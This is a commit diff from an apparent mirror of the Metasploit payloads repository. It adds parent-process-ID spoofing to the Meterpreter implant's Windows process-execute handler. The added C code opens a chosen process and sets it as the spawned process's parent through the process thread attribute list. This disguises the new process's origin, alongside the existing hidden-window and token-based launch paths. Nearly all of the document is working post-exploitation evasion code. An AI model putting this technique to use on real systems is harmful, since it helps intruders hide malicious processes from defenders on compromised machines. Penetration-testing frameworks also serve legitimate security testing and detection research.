mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-26 17:41:08 +01:00
Land #374, Add support for PPID spoofing
Merge branch 'land-374' into upstream-master
This commit is contained in:
commit
ba93a05959
@ -8,6 +8,30 @@
|
||||
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
|
||||
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
|
||||
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
|
||||
typedef BOOL (WINAPI * UPDATEPROCTHREADATTRIBUTE) (
|
||||
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
|
||||
DWORD dwFlags,
|
||||
DWORD_PTR Attribute,
|
||||
PVOID lpValue,
|
||||
SIZE_T cbSize,
|
||||
PVOID lpPreviousValue,
|
||||
PSIZE_T lpReturnSize
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI* INITIALIZEPROCTHREADATTRIBUTELIST) (
|
||||
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
|
||||
DWORD dwAttributeCount,
|
||||
DWORD dwFlags,
|
||||
PSIZE_T lpSize
|
||||
);
|
||||
|
||||
typedef struct _STARTUPINFOEXA
|
||||
{
|
||||
STARTUPINFOA StartupInfo;
|
||||
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
|
||||
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
|
||||
|
||||
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
|
||||
|
||||
/*
|
||||
* Attaches to the supplied process identifier. If no process identifier is
|
||||
@ -24,7 +48,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
|
||||
|
||||
// Get the process identifier that we're attaching to, if any.
|
||||
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
|
||||
|
||||
dprintf("[attach]: pid %d", pid);
|
||||
// No pid? Use current.
|
||||
if (!pid)
|
||||
handle = GetCurrentProcess();
|
||||
@ -35,6 +59,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
|
||||
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
|
||||
|
||||
handle = OpenProcess(permission, inherit, pid);
|
||||
dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError());
|
||||
}
|
||||
|
||||
// If we have a handle, add it to the response
|
||||
@ -91,10 +116,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
Tlv inMemoryData;
|
||||
BOOL doInMemory = FALSE;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
STARTUPINFOEXA si;
|
||||
HANDLE in[2], out[2];
|
||||
PCHAR path, arguments, commandLine = NULL;
|
||||
DWORD flags = 0, createFlags = 0;
|
||||
DWORD flags = 0, createFlags = 0, ppid = 0;
|
||||
BOOL inherit = FALSE;
|
||||
HANDLE token, pToken;
|
||||
char * cpDesktop = NULL;
|
||||
@ -109,9 +134,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
|
||||
// Initialize the startup information
|
||||
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
|
||||
memset( &si, 0, sizeof(STARTUPINFO) );
|
||||
memset( &si, 0, sizeof(STARTUPINFOEXA) );
|
||||
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.StartupInfo.cb = sizeof(STARTUPINFO);
|
||||
si.lpAttributeList = NULL;
|
||||
|
||||
// Initialize pipe handles
|
||||
in[0] = NULL;
|
||||
@ -131,6 +157,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
|
||||
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
|
||||
ppid = packet_get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID);
|
||||
|
||||
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
|
||||
{
|
||||
@ -154,7 +181,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
|
||||
lock_release(remote->lock);
|
||||
|
||||
si.lpDesktop = cpDesktop;
|
||||
si.StartupInfo.lpDesktop = cpDesktop;
|
||||
|
||||
} while (0);
|
||||
}
|
||||
@ -232,10 +259,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Initialize the startup info to use the pipe handles
|
||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
||||
si.hStdInput = in[0];
|
||||
si.hStdOutput = out[1];
|
||||
si.hStdError = out[1];
|
||||
si.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
|
||||
si.StartupInfo.hStdInput = in[0];
|
||||
si.StartupInfo.hStdOutput = out[1];
|
||||
si.StartupInfo.hStdError = out[1];
|
||||
inherit = TRUE;
|
||||
createFlags |= CREATE_NEW_CONSOLE;
|
||||
|
||||
@ -251,8 +278,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
// If the hidden flag is set, create the process hidden
|
||||
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
|
||||
{
|
||||
si.dwFlags |= STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.StartupInfo.dwFlags |= STARTF_USESHOWWINDOW;
|
||||
si.StartupInfo.wShowWindow = SW_HIDE;
|
||||
createFlags |= CREATE_NO_WINDOW;
|
||||
}
|
||||
|
||||
@ -260,6 +287,52 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
|
||||
createFlags |= CREATE_SUSPENDED;
|
||||
|
||||
// Set Parent PID if provided
|
||||
if (ppid) {
|
||||
dprintf("[execute] PPID spoofing\n");
|
||||
HMODULE hKernel32Lib = LoadLibrary("kernel32.dll");
|
||||
INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList");
|
||||
UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute");
|
||||
BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT);
|
||||
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
|
||||
HANDLE handle = OpenProcess(permission, inherit, ppid);
|
||||
dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError());
|
||||
if (
|
||||
handle &&
|
||||
hKernel32Lib &&
|
||||
InitializeProcThreadAttributeList &&
|
||||
UpdateProcThreadAttribute
|
||||
) {
|
||||
size_t len = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &len);
|
||||
si.lpAttributeList = malloc(len);
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &len)) {
|
||||
printf("[execute] InitializeProcThreadAttributeList: [%d]\n", GetLastError());
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[execute] InitializeProcThreadAttributeList\n");
|
||||
|
||||
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), 0, 0)) {
|
||||
printf("[execute] UpdateProcThreadAttribute: [%d]\n", GetLastError());
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[execute] UpdateProcThreadAttribute\n");
|
||||
|
||||
createFlags |= EXTENDED_STARTUPINFO_PRESENT;
|
||||
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
||||
|
||||
FreeLibrary(hKernel32Lib);
|
||||
}
|
||||
else {
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
|
||||
{
|
||||
// If there is an impersonated token stored, use that one first, otherwise
|
||||
@ -304,7 +377,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Try to execute the process with duplicated token
|
||||
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
|
||||
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, (STARTUPINFOA*)&si, &pi))
|
||||
{
|
||||
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
|
||||
HANDLE hAdvapi32 = NULL;
|
||||
@ -342,14 +415,14 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
|
||||
mbstowcs(wcmdline, commandLine, size);
|
||||
|
||||
if (si.lpDesktop)
|
||||
if (si.StartupInfo.lpDesktop)
|
||||
{
|
||||
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
|
||||
size = mbstowcs(NULL, (char *)si.StartupInfo.lpDesktop, 0);
|
||||
if (size != (size_t)-1)
|
||||
{
|
||||
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
|
||||
mbstowcs(wdesktop, (char *)si.lpDesktop, size);
|
||||
si.lpDesktop = (LPSTR)wdesktop;
|
||||
mbstowcs(wdesktop, (char *)si.StartupInfo.lpDesktop, size);
|
||||
si.StartupInfo.lpDesktop = (LPSTR)wdesktop;
|
||||
}
|
||||
}
|
||||
|
||||
@ -407,7 +480,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
|
||||
if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
|
||||
{
|
||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
|
||||
{
|
||||
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
|
||||
}
|
||||
@ -425,7 +498,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
|
||||
}
|
||||
|
||||
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
||||
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
|
||||
{
|
||||
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
|
||||
}
|
||||
@ -453,7 +526,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
else
|
||||
{
|
||||
// Try to execute the process
|
||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
@ -531,6 +604,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
free(cpDesktop);
|
||||
}
|
||||
|
||||
if (si.lpAttributeList)
|
||||
{
|
||||
free(si.lpAttributeList);
|
||||
}
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
|
Loading…
Reference in New Issue
Block a user